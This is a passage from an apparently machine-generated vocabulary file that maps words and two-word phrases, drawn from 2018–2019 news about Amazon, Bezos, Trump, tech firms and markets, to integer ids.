19157, "owe lower": 19158, "paul caneiro": 19159, "economy shrank": 19160, "trump fight": 19161, "meriwether": 19162, "vivo micromax": 19163, "haiti protests": 19164, "technocrats": 19165, "fairer shake": 19166, "conduct interior": 19167, "youtube youtube": 19168, "blankets bring": 19169, "female independence": 19170, "juuls": 19171, "coworking company": 19172, "days earlier": 19173, "designate indigenous": 19174, "acosta access": 19175, "german ballet": 19176, "close eye": 19177, "fortuitous disaster": 19178, "customers inc_filelocation": 19179, "technology firm": 19180, "debunks": 19181, "arch nemesis": 19182, "investors recent": 19183, "yerger isn": 19184, "cca requested": 19185, "boost rates": 19186, "president possibly": 19187, "lynchian noir": 19188, "exclusive position": 19189, "colossal": 19190, "minister dealt": 19191, "model isn": 19192, "personally bought": 19193, "specific motive": 19194, "highly sought": 19195, "love close": 19196, "starring melissa": 19197, "gates microsoft": 19198, "tamil tiger": 19199, "jeff carberry": 19200, "bezos alleged": 19201, "denissen": 19202, "power forward": 19203, "person calling": 19204, "credit matthew": 19205, "news source": 19206, "special titled": 19207, "labor trump": 19208, "foil sauce": 19209, "mass deportation": 19210, "actually implemented": 19211, "gettys": 19212, "proposed": 19213, "million fund": 19214, "cruel": 19215, "prompted investors": 19216, "colon cancer": 19217, "natural salesman": 19218, "member catherine": 19219, "plain dealer": 19220, "bezos words": 19221, "love maps": 19222, "donations hit": 19223, "paid toll": 19224, "formally completed": 19225, "unexpectedly large": 19226, "alibaba relationship": 19227, "websites including": 19228, "dancer": 19229, "included merchandise": 19230, "melinda gates": 19231, "including changes": 19232, "dot amazon": 19233, "trump kids": 19234, "suburbs roughly": 19235, "observer just": 19236, "af sold": 19237, "registering individual": 19238, "boasting": 19239, "offering groceries": 19240, "service distributor": 19241, "probably heard": 19242, "small concern": 19243, "licenses bailouts": 19244, "potus look": 19245, "happens signed": 19246, "ferry landings": 19247, "carlson tweeted": 19248, "prescriptions online": 19249, "expecting sales": 19250, "wanted volatility": 19251, "scumbags adam": 19252, "elizabeth dress": 19253, "1000": 19254, "help adapt": 19255, "relatable culprit": 19256, "pentagon did": 19257, "filibustered": 19258, "midday report": 19259, "backed startup": 19260, "say surely": 19261, "wearyingly": 19262, "current book": 19263, "war amazon": 19264, "soccer fans": 19265, "career banker": 19266, "advisers presenting": 19267, "doesn worry": 19268, "increase try": 19269, "defense contractors": 19270, "newfound power": 19271, "cellmate family": 19272, "cio deasy": 19273, "populate": 19274, "frederick": 19275, "determining delivery": 19276, "662": 19277, "proclaimed president": 19278, "douglass prophet": 19279, "service billions": 19280, "email supposedly": 19281, "diogo": 19282, "preeminent": 19283, "internet right": 19284, "aj dellinger": 19285, "age stories": 19286, "1993 ap": 19287, "told vanity": 19288, "appeasing privacy": 19289, "post ran": 19290, "major categories": 19291, "gold futures": 19292, "service instead": 19293, "apparently unfilmable": 19294, "metro area": 19295, "treece": 19296, "pornography case": 19297, "related google": 19298, "called fintech": 19299, "banking point": 19300, "monthly metrocards": 19301, "liberal resistance": 19302, "caterpillar": 19303, "ta return": 19304, "messages leaked": 19305, "signed sealed": 19306, "cats uses": 19307, "cheap global": 19308, "years hint": 19309, "inheriting": 19310, "minority jack": 19311, "lifetime": 19312, "2018 joshua": 19313, "vernon": 19314, "catapulted president": 19315, "new incentive": 19316, "badass": 19317, "continued returns": 19318, "bolsters capabilities": 19319, "unreality": 19320, "kissinger talks": 19321, "customer amazon": 19322, "world valuable": 19323, "winter meeting": 19324, "review claiming": 19325, "zuckerberg shares": 19326, "feisty photogenic": 19327, "mocking president": 19328, "story lawyer": 19329, "event today": 19330, "direct effects": 19331, "hosts plying": 19332, "stock revival": 19333, "week earlier": 19334, "cnbc requests": 19335, "affairs amos": 19336, "tasked regulatory": 19337, "texas based": 19338, "j0 w4": 19339, "fantasized fake": 19340, "amazon pushes": 19341, "bargain compiled": 19342, "photo taken": 19343, "articles mcdonalds": 19344, "ceo writes": 19345, "finish continue": 19346, "arnade tells": 19347, "clear bezos": 19348, "spent weeks": 19349, "include neil": 19350, "deal terms": 19351, "traditional coalition": 19352, "commentator ben": 19353, "immigratns": 19354, "ilieanna": 19355, "brand names": 19356, "2018 presidents": 19357, "1912": 19358, "care debate": 19359, "claiming amazon": 19360, "iac ceo": 19361, "ultrasonic": 19362, "equipment manufacturers": 19363, "million loss": 19364, "excuse": 19365, "repatriated": 19366, "questioned ms": 19367, "brief tasks": 19368, "previous white": 19369, "frisk people": 19370, "activity data": 19371, "bigot": 19372, "dem megadonor": 19373, "years charging": 19374, "plays cathy": 19375, "twitter tell": 19376, "cisco results": 19377, "equitable": 19378, "perpetrator camera": 19379, "published purported": 19380, "write book": 19381, "wcve": 19382, "gm plant": 19383, "weighing little": 19384, "pickup service": 19385, "law subsidizing": 19386, "queensbridge resident": 19387, "establish billion": 19388, "runstad": 19389, "unpresidented outcome": 19390, "steak": 19391, "pelley": 19392, "indexhas": 19393, "post reportage": 19394, "herald radio": 19395, "sent 070": 19396, "act saw": 19397, "pitch finalists": 19398, "turkey 2018": 19399, "facebook warren": 19400, "unprecedented wealth": 19401, "slavica radic": 19402, "eventually spun": 19403, "invent": 19404, "recent campaign": 19405, "media post": 19406, "foods david": 19407, "keeping quiet": 19408, "stt global": 19409, "offering special": 19410, "hackers fraudulently": 19411, "average refund": 19412, "second greatest": 19413, "pea": 19414, "tremendous environmental": 19415, "function n4": 19416, "maintain government": 19417, "supports democratic": 19418, "sites including": 19419, "turn away": 19420, "sens elizabeth": 19421, "musk plan": 19422, "disturbing images": 19423, "appointee": 19424, "opportunity watch": 19425, "giant operates": 19426, "q1 2006": 19427, "healthcare": 19428, "obama pic": 19429, "conduct audits": 19430, "curate": 19431, "nomination airbag": 19432, "discussing governance": 19433, "john clark": 19434, "amazon stockholders": 19435, "communications technologies": 19436, "business credit": 19437, "potentially massive": 19438, "anthony williams": 19439, "optional amazon": 19440, "launched twitter": 19441, "courts legal": 19442, "brian tracy": 19443, "k6 api": 19444, "cost twitter": 19445, "dealingswith": 19446, "flows snowden": 19447, "success khanna": 19448, "regulate pichai": 19449, "include autotrader": 19450, "realistic": 19451, "zelevansky": 19452, "202 432": 19453, "gregory korte": 19454, "discloses": 19455, "follow david": 19456, "soft according": 19457, "filed complaint": 19458, "william bing": 19459, "post just": 19460, "treasury yields": 19461, "26th herera": 19462, "admitting privileges": 19463, "tough patch": 19464, "question cuomo": 19465, "companies deserve": 19466, "different plan": 19467, "coincidence carell": 19468, "review expansion": 19469, "capabilities offered": 19470, "oops": 19471, "just don": 19472, "online consumers": 19473, "russia remarks": 19474, "monthly users": 19475, "occur moving": 19476, "paul vallone": 19477, "addressing child": 19478, "android app": 19479, "economy labor": 19480, "political turmoil": 19481, "hurricane florence": 19482, "fully expects": 19483, "network pales": 19484, "bestseller johnston": 19485, "policies restricting": 19486, "lose homes": 19487, "queens hq2": 19488, "policy trade": 19489, "likened portions": 19490, "dollar entrepreneur": 19491, "chief scott": 19492, "bookings": 19493, "relations presentation": 19494, "naming trump": 19495, "people liberal": 19496, "tracking kids": 19497, "fortune adam": 19498, "downplays": 19499, "amazon traffic": 19500, "eighty women": 19501, "paternity": 19502, "republican convention": 19503, "madeleine albright": 19504, "fillmore": 19505, "project sign": 19506, "city voters": 19507, "trump advertising": 19508, "claire bochner": 19509, "buy nvidia": 19510, "ap justice": 19511, "roles": 19512, "accolade raj": 19513, "syndicated radio": 19514, "office reforms": 19515, "simmering": 19516, "split": 19517, "hiring undocumented": 19518, "shepardson editing": 19519, "polls ahead": 19520, "grande valley": 19521, "additional shares": 19522, "held number": 19523, "know nasty": 19524, "net neutral": 19525, "main nuclear": 19526, "wawx nws": 19527, "antler": 19528, "leader saddam": 19529, "pharmaceutical industry": 19530, "practices act": 19531, "skewed understanding": 19532, "unethical acts": 19533, "laws": 19534, "hissed": 19535, "midterms meaningful": 19536, "pricing policies": 19537, "dc awful": 19538, "saving taxpayers": 19539, "device powered": 19540, "drawn quarterly": 19541, "asset class": 19542, "refuting": 19543, "beta amazon": 19544, "singer songwriter": 19545, "trademarked": 19546, "house hasn": 19547, "identify probable": 19548, "fair sally": 19549, "000 plus": 19550, "presidentelect": 19551, "represented cable": 19552, "margins associated": 19553, "hardly surprising": 19554, "generates revenue": 19555, "pencil point": 19556, "story watch": 19557, "acclaimed american": 19558, "citizens ahead": 19559, "staff key": 19560, "nation antitrust": 19561, "ga seats": 19562, "service evaluation": 19563, "shares topped": 19564, "coalition mchugh": 19565, "protect ip": 19566, "famous newspaper": 19567, "burrp local": 19568, "interesting": 19569, "hasty": 19570, "flipkarts": 19571, "giant met": 19572, "765 words": 19573, "shipping companies": 19574, "overseer": 19575, "political academic": 19576, "earlier decision": 19577, "2018 spectator": 19578, "shot amazon": 19579, "asylums hotels": 19580, "hollywood sanchez": 19581, "balance backdating": 19582, "tariffs mounts": 19583, "geoffrey says": 19584, "family homes": 19585, "commission proposed": 19586, "avoid threat": 19587, "tacitly dismiss": 19588, "meyers trump": 19589, "bandar otyf": 19590, "monstrously": 19591, "weekend trolled": 19592, "called alexa": 19593, "linked research": 19594, "gawande criticized": 19595, "list scott": 19596, "pleebles told": 19597, "pinpointing": 19598, "tv version": 19599, "confronts minefield": 19600, "feinstein 1531685705": 19601, "climate governance": 19602, "pics": 19603, "scorecard svs": 19604, "powerhouse tech": 19605, "property storage": 19606, "volatile lagos": 19607, "says republicans": 19608, "grandinetti amazon": 19609, "bhuvaneswar dzanc": 19610, "seconds treated": 19611, "weed": 19612, "killed vine": 19613, "newman manhattan": 19614, "bureau did": 19615, "length body": 19616, "fuel contracts": 19617, "thomas read": 19618, "college london": 19619, "regional local": 19620, "giant takes": 19621, "reactid 191": 19622, "hench": 19623, "hell teams": 19624, "azure": 19625, "benchmarks": 19626, "hadn": 19627, "invade": 19628, "taran": 19629, "contract wikileaks": 19630, "mush ifiers": 19631, "lessons train": 19632, "mnuchin pressed": 19633, "elections antitrust": 19634, "steeply": 19635, "benefit manager": 19636, "lumish mindi": 19637, "bipartisan backing": 19638, "generally critical": 19639, "sex shops": 19640, "trade daily": 19641, "affairs subcommittee": 19642, "walmart amazon": 19643, "850 million": 19644, "ballots sent": 19645, "threats farrow": 19646, "general swearing": 19647, "programs authorized": 19648, "university philosopher": 19649, "456": 19650, "growth demands": 19651, "america culture": 19652, "anil": 19653, "pools": 19654, "colossal infrastructure": 19655, "fold trump": 19656, "enforcement officers": 19657, "david begnaud": 19658, "believed secret": 19659, "wunderman commerce": 19660, "secure access": 19661, "riverfront park": 19662, "nice clean": 19663, "matsakis": 19664, "accused social": 19665, "lawfully ami": 19666, "political fortunes": 19667, "preserve trump": 19668, "christmas tao": 19669, "visas tax": 19670, "successor washington": 19671, "amazon ultimate": 19672, "deliver items": 19673, "unearthing problems": 19674, "cnl_contributor_accessflag false": 19675, "basic necessities": 19676, "cultures mrc": 19677, "forces news": 19678, "minchillo": 19679, "various anchors": 19680, "suu": 19681, "dens": 19682, "backdrop president": 19683, "model facebook": 19684, "strong gdp": 19685, "deteriorating streets": 19686, "totally rejects": 19687, "public integrity": 19688, "evangelicals sexual": 19689, "giant uber": 19690, "norton company": 19691, "growth asked": 19692, "false stories": 19693, "2fnews": 19694, "fast tough": 19695, "colbert addresses": 19696, "amazon threat": 19697, "tech writer": 19698, "mulls": 19699, "niagara county": 19700, "google spokespeople": 19701, "comment background": 19702, "future premier": 19703, "disappearing": 19704, "pre market": 19705, "week video": 19706, "photo danielle": 19707, "including matt": 19708, "microsoft dr": 19709, "manufacturing businesses": 19710, "reports work": 19711, "alaniz senior": 19712, "bezos divorce": 19713, "company explaining": 19714, "handles amazon": 19715, "time interactive": 19716, "eastern shore": 19717, "easily roll": 19718, "prepend": 19719, "wallis": 19720, "revolutionaries changed": 19721, "winning jurisdiction": 19722, "child pornography": 19723, "beast": 19724, "official acts": 19725, "striking workers": 19726, "james dillon": 19727, "news health": 19728, "remained relatively": 19729, "families 2018": 19730, "president claim": 19731, "republicans pointing": 19732, "page page": 19733, "pressure amazon": 19734, "celebs": 19735, "just tore": 19736, "clear mean": 19737, "false news": 19738, "harry taylor": 19739, "shared history": 19740, "actively seek": 19741, "karamo brown": 19742, "amazon slogans": 19743, "cum": 19744, "post story": 19745, "barstow": 19746, "trump told": 19747, "josh silverman": 19748, "greene npr": 19749, "people really": 19750, "york split": 19751, "services crew": 19752, "allow smaller": 19753, "probe share": 19754, "fed starts": 19755, "kore eda": 19756, "include congestion": 19757, "7203 7203": 19758, "university arthur": 19759, "lennon spoke": 19760, "matthew rhys": 19761, "challenges associated": 19762, "walks away": 19763, "unreasonably": 19764, "places disproportionate": 19765, "neatly": 19766, "goods": 19767, "paxton": 19768, "meetings concerned": 19769, "trump retailing": 19770, "additional headquarters": 19771, "howard kurtz": 19772, "salespeople": 19773, "staff zinke": 19774, "election day": 19775, "delivers large": 19776, "earth": 19777, "keefe svp": 19778, "users joining": 19779, "disgraced": 19780, "420 words": 19781, "new exchange": 19782, "lauderdale": 19783, "previously admitting": 19784, "undergoes major": 19785, "unreasonable": 19786, "views widely": 19787, "solid revenue": 19788, "lola kirke": 19789, "weather indonesia": 19790, "form regulating": 19791, "reverse long": 19792, "wall funds": 19793, "warns brian": 19794, "media 2018": 19795, "crossers honestly": 19796, "cnn tapper": 19797, "ice queen": 19798, "quality public": 19799, "operations llc": 19800, "media group": 19801, "jr channelarray": 19802, "billion joined": 19803, "house time": 19804, "secretary ari": 19805, "federal communications": 19806, "built 840": 19807, "market fall": 19808, "reported president": 19809, "2011": 19810, "core values": 19811, "contractor requirements": 19812, "really spend": 19813, "2019 prlog": 19814, "administrative judge": 19815, "mae sai": 19816, "backs boxes": 19817, "matt yglesias": 19818, "trust sold": 19819, "seriously study": 19820, "significant publicity": 19821, "city20 pictures": 19822, "true sure": 19823, "value loss": 19824, "cony": 19825, "myrie daily": 19826, "khashoggi murder": 19827, "husband steve": 19828, "overdoses": 19829, "a4ee g1": 19830, "incredible american": 19831, "acadian": 19832, "publishing squeezed": 19833, "marijuana ignited": 19834, "potential buyers": 19835, "dow 500": 19836, "deadliest mass": 19837, "claman": 19838, "personally directed": 19839, "homes using": 19840, "lenz": 19841, "denied involvement": 19842, "mistress months": 19843, "proposed copyright": 19844, "probe investigators": 19845, "trump riches": 19846, "print rss": 19847, "mnuchin pled": 19848, "company based": 19849, "cve": 19850, "don love": 19851, "appealed": 19852, "representatives did": 19853, "ill wind": 19854, "happen amazon": 19855, "john garamendi": 19856, "plan sanders": 19857, "meb": 19858, "unfavorable media": 19859, "segundo": 19860, "alternative": 19861, "flared version": 19862, "times kingdom": 19863, "mexican products": 19864, "states corporate": 19865, "rash": 19866, "companies sharing": 19867, "zing vote": 19868, "apron": 19869, "mike adams": 19870, "longtime": 19871, "options near": 19872, "acknowledge politics": 19873, "mutual intermediaries": 19874, "sustain": 19875, "comprehensive": 19876, "etcetera": 19877, "shifting party": 19878, "jay makes": 19879, "clerical abuse": 19880, "louisiana regulations": 19881, "months president": 19882, "amazon nationally": 19883, "rekognition utility": 19884, "followers offer": 19885, "banner year": 19886, "biggest votes": 19887, "ballantine": 19888, "politics ahead": 19889, "year options": 19890, "disputes voter": 19891, "phone hacking": 19892, "request west": 19893, "newman foto": 19894, "war whichever": 19895, "crawl": 19896, "johnstown": 19897, "prosecutors": 19898, "monetizing": 19899, "healthcare market": 19900, "trump implies": 19901, "trump popularized": 19902, "strong brands": 19903, "grieve": 19904, "trump bluster": 19905, "massive incentives": 19906, "unbridled greed": 19907, "volcovici labor": 19908, "real reform": 19909, "big round": 19910, "5etweetembed 7ctwgr": 19911, "wage making": 19912, "children html": 19913, "sterling reputation": 19914, "changing existing": 19915, "2020 class": 19916, "department ordered": 19917, "service times": 19918, "missed earnings": 19919, "internal captive": 19920, "america decent": 19921, "rider shoah": 19922, "yasha levine": 19923, "home invasions": 19924, "maverick": 19925, "rutgers law": 19926, "controversy laden": 19927, "thereason": 19928, "avid aviation": 19929, "picker data": 19930, "profile feud": 19931, "ongoing peace": 19932, "accusing iran": 19933, "970": 19934, "trump vindictive": 19935, "million total": 19936, "corp shares": 19937, "securities insurance": 19938, "lie": 19939, "200 000": 19940, "think crime": 19941, "looking legislation": 19942, "political sexual": 19943, "bezos later": 19944, "nation powerful": 19945, "1970": 19946, "number indicates": 19947, "dc socialite": 19948, "2019 spice": 19949, "companies fail": 19950, "pied terre": 19951, "ag\u00eancia senado": 19952, "loopholes exemptions": 19953, "actually workers": 19954, "bank conference": 19955, "bezos forbes": 19956, "2018 markets": 19957, "frenkel": 19958, "raices": 19959, "pillpack deal": 19960, "amazon attempt": 19961, "tidy": 19962, "efforts significantly": 19963, "view training": 19964, "happy happy": 19965, "aniston": 19966, "crony monopoly": 19967, "possibly half": 19968, "emergency pelosi": 19969, "forest founded": 19970, "politico": 19971, "communicate 2018": 19972, "deer": 19973, "government institute": 19974, "jet terms": 19975, "event principal": 19976, "duane paul": 19977, "champion tv": 19978, "trump ran": 19979, "personal films": 19980, "secs authority": 19981, "2014 democrats": 19982, "holds 741": 19983, "125 million": 19984, "comprehensive natural": 19985, "______": 19986, "blvd": 19987, "2018 rise": 19988, "aftermarket trade": 19989, "america cable": 19990, "willie wilson": 19991, "says jocum": 19992, "trillion trumping": 19993, "elegy memoir": 19994, "know fred": 19995, "workers dealing": 19996, "specialized needs": 19997, "inc_full_width_read_moreflag": 19998, "food coverage": 19999, "emails directly": 20000, "narrative bits": 20001, "saying users": 20002, "technology pieces": 20003, "vehicles similar": 20004, "mccormack": 20005, "shipments create": 20006, "currently listed": 20007, "potential powerhouse": 20008, "bureaucracy": 20009, "ceo hiring": 20010, "orders halt": 20011, "hit particularly": 20012, "struggling grocery": 20013, "index advanced": 20014, "amazon pledged": 20015, "bessemer": 20016, "edge research": 20017, "dr simon": 20018, "parscale lambasted": 20019, "hung": 20020, "brazilian news": 20021, "court read": 20022, "print title": 20023, "report united": 20024, "type education": 20025, "difficult moments": 20026, "liu bayside": 20027, "just rolled": 20028, "incentive really": 20029, "parrythose": 20030, "dms": 20031, "traffic people": 20032, "grammy winner": 20033, "emboldening group": 20034, "prescription opioid": 20035, "outside donald": 20036, "towers including": 20037, "year figured": 20038, "amazon product": 20039, "cheeks sanchez": 20040, "existing customers": 20041, "forced spotify": 20042, "warr twgmb": 20043, "project authorization": 20044, "standards": 20045, "zgutowicz": 20046, "npr eric": 20047, "coastal states": 20048, "groups undermines": 20049, "named michael": 20050, "transparent aboutwhat": 20051, "law requires": 20052, "post journalist": 20053, "directed attorney": 20054, "mexico reaching": 20055, "firm workday": 20056, "video washington": 20057, "sir 100": 20058, "hippies fyi": 20059, "don blame": 20060, "cuomo ny": 20061, "races reuters": 20062, "kashrut": 20063, "demand thanks": 20064, "graphic hold": 20065, "better life": 20066, "backed airline": 20067, "accenture invests": 20068, "pipe dream": 20069, "brigitte": 20070, "maximizedbannersize media": 20071, "shirt permanent": 20072, "fdr": 20073, "drawn parallels": 20074, "jacobson": 20075, "markets deposit": 20076, "apprenticeships place": 20077, "entertains": 20078, "notetaker": 20079, "debacle": 20080, "curiously": 20081, "counting inflation": 20082, "improvements new": 20083, "hq2 followed": 20084, "playmate model": 20085, "gained lowering": 20086, "economists don": 20087, "gary cohngary": 20088, "today president": 20089, "employees express": 20090, "blackberry phones": 20091, "increasingly noticeable": 20092, "850": 20093, "baja": 20094, "rebranded": 20095, "goodbye 2017": 20096, "personally look": 20097, "putin report": 20098, "previous yr": 20099, "uncooked": 20100, "little tiny": 20101, "premiums leaving": 20102, "phil knight": 20103, "chalkboard maybe": 20104, "marjory stoneman": 20105, "attempted persuasion": 20106, "incentive bonuses": 20107, "sign writes": 20108, "stock shrugged": 20109, "limousine hardly": 20110, "sector hiring": 20111, "preschools": 20112, "myanmar liao": 20113, "required reading": 20114, "threats including": 20115, "obvious way": 20116, "andelman": 20117, "wear sunscreen": 20118, "trace mccabe": 20119, "ceo emil": 20120, "kawasaki heavy": 20121, "negga makes": 20122, "check cashing": 20123, "color coded": 20124, "excessively overvalued": 20125, "chinese goods": 20126, "budding sports": 20127, "separate sales": 20128, "handle trafficking": 20129, "point selling": 20130, "associate amazon": 20131, "stirred": 20132, "adviser pleading": 20133, "destroy brands": 20134, "david ramsey": 20135, "expend huge": 20136, "fact early": 20137, "issue floating": 20138, "issuethe": 20139, "president taunted": 20140, "environmental institute": 20141, "understands cloud": 20142, "pay information": 20143, "good bye": 20144, "isbn": 20145, "family fights": 20146, "watch today": 20147, "v0 object": 20148, "long overdue": 20149, "extra space": 20150, "extremely creative": 20151, "confirms": 20152, "trump style": 20153, "spicer mea": 20154, "results jeff": 20155, "fusion suite": 20156, "bartender compliment": 20157, "usps consumer": 20158, "possible political": 20159, "betting reuters": 20160, "breakout congresswoman": 20161, "paid particular": 20162, "expensive brian": 20163, "pregnancy disability": 20164, "lessons learned": 20165, "outline": 20166, "filed multiple": 20167, "primary voters": 20168, "chevron": 20169, "house respectively": 20170, "companies greer": 20171, "sessions claims": 20172, "kudlow free": 20173, "recruit family": 20174, "problem narrow": 20175, "users time": 20176, "site counterfeit": 20177, "plan calling": 20178, "seemingly unrelated": 20179, "maggie": 20180, "address today": 20181, "gmt tempe": 20182, "lowdown distributed": 20183, "suicidal episodes": 20184, "pas": 20185, "address mair": 20186, "using wapo": 20187, "disappointed hundreds": 20188, "soap company": 20189, "escape pod": 20190, "helping fund": 20191, "merger despite": 20192, "recanting": 20193, "typeof owl": 20194, "left retail": 20195, "year veteran": 20196, "declining free": 20197, "dingell jeff": 20198, "scam": 20199, "john holm": 20200, "commercial parcel": 20201, "grotesquely large": 20202, "trigger": 20203, "cornacchioni": 20204, "report highlights": 20205, "discusses andrew": 20206, "trump directly": 20207, "bigger outflows": 20208, "bloomberg banks": 20209, "time cattle": 20210, "builder": 20211, "g9jceruc0v": 20212, "franek amazon": 20213, "news follow": 20214, "heroine": 20215, "ability": 20216, "cuomo remarks": 20217, "sounded aghast": 20218, "erupted involving": 20219, "squarely aimed": 20220, "practically negated": 20221, "brain breaks": 20222, "page ad": 20223, "employed private": 20224, "unfortunately recent": 20225, "county people": 20226, "national attention": 20227, "inflated": 20228, "zuckerberg album": 20229, "disrupting retail": 20230, "dance lessons": 20231, "safety jeopardized": 20232, "lower earnings": 20233, "prime environmental": 20234, "low tech": 20235, "patients insurance": 20236, "secretary stephen": 20237, "international postal": 20238, "tayyip": 20239, "real book": 20240, "expenses dodd": 20241, "bezos isn": 20242, "campaign pecker": 20243, "healthcare online": 20244, "realdonaldtrump results": 20245, "spencer ackerman": 20246, "eliana right": 20247, "earnings season": 20248, "apparent slip": 20249, "lango": 20250, "text maria": 20251, "deforest threat": 20252, "revolution finally": 20253, "blackmail scandal": 20254, "stamps 2017": 20255, "connecticut based": 20256, "merging unleashed": 20257, "franzia reporter": 20258, "state constitution": 20259, "trump remarked": 20260, "euro oeknowing": 20261, "timed test": 20262, "poets": 20263, "450920002": 20264, "finally approved": 20265, "earnings matter": 20266, "netflix royal": 20267, "reports later": 20268, "song built": 20269, "nuclear power": 20270, "hoard": 20271, "different documentaries": 20272, "hudsons bay": 20273, "vice presidential": 20274, "build affordable": 20275, "organic food": 20276, "arena online": 20277, "futures sank": 20278, "undergo": 20279, "rt satchatuk": 20280, "set prices": 20281, "making tv": 20282, "overseas bringing": 20283, "sasse": 20284, "tweet amazon": 20285, "affordable devices": 20286, "york workers": 20287, "pot calling": 20288, "sees summit": 20289, "trump attitudes": 20290, "poverty ivanka": 20291, "high series": 20292, "raise pay": 20293, "republican insisted": 20294, "hud": 20295, "video streaming": 20296, "large shoes": 20297, "nbcsn": 20298, "hit hard": 20299, "fool analysis": 20300, "video message": 20301, "moore capito": 20302, "items problem": 20303, "latest initiatives": 20304, "marsden tries": 20305, "advertising related": 20306, "naturally concerned": 20307, "followed trump": 20308, "messages sent": 20309, "buys products": 20310, "executive amazon": 20311, "uses variety": 20312, "gleefully tweeting": 20313, "1328627": 20314, "service just": 20315, "times faced": 20316, "market cbs": 20317, "hassett chairman": 20318, "exchange avalara": 20319, "school network": 20320, "arts community": 20321, "agreement tsa": 20322, "vaxxed": 20323, "senate set": 20324, "lake city": 20325, "buy today": 20326, "offer rekognition": 20327, "malmstrom": 20328, "trump congressional": 20329, "bestow": 20330, "careful study": 20331, "defined geographical": 20332, "blabbed": 20333, "scaramucci": 20334, "computing service": 20335, "reservoirs supplying": 20336, "100 environmental": 20337, "cuny chairman": 20338, "hanna trudo": 20339, "vsa": 20340, "travel travel": 20341, "beda": 20342, "bath": 20343, "democrats flee": 20344, "opportunity": 20345, "constitution expand": 20346, "origin frame": 20347, "radar": 20348, "conservative legal": 20349, "walmart lose": 20350, "lacy": 20351, "157 kyle": 20352, "bevested owner": 20353, "incentives attractive": 20354, "mail french": 20355, "surprisingly 787": 20356, "unsynchronized global": 20357, "hasson": 20358, "prohibit restaurants": 20359, "childhood stock": 20360, "contagion risk": 20361, "entourage mystery": 20362, "justice media": 20363, "vice amid": 20364, "yazan alnsour": 20365, "burden taking": 20366, "gates 2018": 20367, "sandberg": 20368, "videoplayer setfirstvideoincollection": 20369, "marshall fund": 20370, "iaas cloudscape": 20371, "creative planning": 20372, "cold weather": 20373, "enquirer apparently": 20374, "frat party": 20375, "says scattering": 20376, "spending according": 20377, "bigger stake": 20378, "morose meditations": 20379, "billion google": 20380, "comments london": 20381, "complicate": 20382, "story dow": 20383, "professor galloway": 20384, "makes remarks": 20385, "duties regulate": 20386, "ireland billions": 20387, "inverts new": 20388, "foxnews elsie": 20389, "oil producing": 20390, "amazon blew": 20391, "public support": 20392, "earnings changes": 20393, "william schneider": 20394, "skilled artists": 20395, "investigators look": 20396, "size making": 20397, "company nyse": 20398, "sinking farm": 20399, "robin ajello": 20400, "subcomandante": 20401, "lady explained": 20402, "significantly impact": 20403, "told facebook": 20404, "clearing house": 20405, "pc shop": 20406, "scrapped plans": 20407, "hawley mo": 20408, "developed larger": 20409, "maryland tasos": 20410, "ami correspondence": 20411, "maryanne included": 20412, "product searches": 20413, "anticounterfeiting": 20414, "sharlee": 20415, "various headwinds": 20416, "tnoah politico": 20417, "4e": 20418, "rate loans": 20419, "2018 team": 20420, "look amazon": 20421, "amzn benzinga": 20422, "advisors congressional": 20423, "looked lonely": 20424, "wearing trash": 20425, "statement added": 20426, "vans": 20427, "tolls": 20428, "diishan": 20429, "daily snapshot": 20430, "stanch": 20431, "employment immigration": 20432, "deal talks": 20433, "great examples": 20434, "workers wrote": 20435, "democrat predicts": 20436, "state employees": 20437, "alibaba entire": 20438, "punitive measure": 20439, "modernizing": 20440, "government going": 20441, "howard sanchez": 20442, "solutions limited": 20443, "bezos proves": 20444, "chenoweth peter": 20445, "immigrant fox": 20446, "mad king": 20447, "millennials": 20448, "basis source": 20449, "german": 20450, "company sp": 20451, "jersey common": 20452, "career corporate": 20453, "legislation cost": 20454, "tascent raises": 20455, "youtube google": 20456, "gloat": 20457, "tax reform": 20458, "gained following": 20459, "ore": 20460, "divorcing gavin": 20461, "trumps rising": 20462, "controls eliminating": 20463, "challenges going": 20464, "jan bezos": 20465, "time daring": 20466, "unlike": 20467, "2016 maura": 20468, "based farming": 20469, "goo": 20470, "couldn learn": 20471, "bay secretary": 20472, "isolate america": 20473, "requiring billion": 20474, "story sec": 20475, "policy efforts": 20476, "company patented": 20477, "ping": 20478, "alongside body": 20479, "style fleecy": 20480, "sporting": 20481, "smith collection": 20482, "general motors": 20483, "strict measures": 20484, "traded company": 20485, "trump levels": 20486, "american imagine": 20487, "colson": 20488, "dystopian society": 20489, "note accompanying": 20490, "mining town": 20491, "gervais humanity": 20492, "obama midterm": 20493, "jackie london": 20494, "historic survivor": 20495, "omx phlx": 20496, "bezos privacy": 20497, "series goliath": 20498, "grand living": 20499, "post share": 20500, "ample opportunity": 20501, "grails": 20502, "darrell": 20503, "brutal places": 20504, "bureaucrat named": 20505, "real possibility": 20506, "arms": 20507, "payouts": 20508, "industry facebook": 20509, "elected leaders": 20510, "trying harder": 20511, "netflix surpassed": 20512, "owner amazon": 20513, "sourceamazon team": 20514, "punished daughter": 20515, "positions irs": 20516, "cause asphyxiation": 20517, "finishes shift": 20518, "derided trading": 20519, "taking picture": 20520, "areacouncil members": 20521, "continued apace": 20522, "buzzfeed reports": 20523, "100 boasts": 20524, "stay stuck": 20525, "effectively police": 20526, "related products": 20527, "independent paper": 20528, "months members": 20529, "charts supplier": 20530, "tags tag": 20531, "500 807": 20532, "investors analyst": 20533, "inviting fischer": 20534, "people donald": 20535, "company ceos": 20536, "slowing republicans": 20537, "incompetent politicians": 20538, "long skirted": 20539, "shock waves": 20540, "minutes later": 20541, "sewers": 20542, "releasing video": 20543, "spokeswoman sarah": 20544, "siting": 20545, "pleasant hill": 20546, "risk new": 20547, "paid ireland": 20548, "nonprofit george": 20549, "parking spot": 20550, "dissing dying": 20551, "ongoing funding": 20552, "investment office": 20553, "dangerous choice": 20554, "time according": 20555, "opposite trumpatriotism": 20556, "began doing": 20557, "minnesota senator": 20558, "mere appearance": 20559, "scarborough lamented": 20560, "huge dividends": 20561, "months bartiromo": 20562, "bids final": 20563, "called lot": 20564, "cycle despite": 20565, "pry information": 20566, "significant development": 20567, "voter guide": 20568, "music griffeth": 20569, "motor corp": 20570, "technology products": 20571, "vivid hues": 20572, "workday": 20573, "microzon alliance": 20574, "alibaba founder": 20575, "pride parents": 20576, "laugh riot": 20577, "pentagon analyze": 20578, "justin nystrom": 20579, "policy program": 20580, "employees published": 20581, "holiday thanksgiving": 20582, "worshipped": 20583, "rare political": 20584, "operations centre": 20585, "revival led": 20586, "upheaval early": 20587, "lauren2go grammy2go": 20588, "grid": 20589, "unquote": 20590, "residential small": 20591, "office issued": 20592, "learn details": 20593, "victims received": 20594, 